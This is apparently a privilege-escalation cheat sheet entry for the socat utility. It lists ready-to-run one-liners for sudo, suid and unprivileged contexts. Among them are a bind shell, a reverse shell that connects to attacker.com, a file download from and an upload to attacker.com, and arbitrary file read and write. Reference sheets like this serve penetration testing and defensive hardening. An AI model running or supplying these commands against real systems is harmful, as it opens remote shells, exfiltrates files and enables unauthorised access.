socat

Bind Shell

Context: sudo, suid, unprivileged

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

Download

Context: sudo, suid, unprivileged

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

File Read

Context: sudo, suid, unprivileged

socat -u file:/path/to/input-file -

File Write

Context: sudo, suid, unprivileged

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

Reverse Shell

Context: sudo, suid, unprivileged

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

Shell

Context: sudo, suid, unprivileged

socat - exec:/bin/sh,pty,ctty,raw,echo=0

Upload

Context: sudo, suid, unprivileged

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345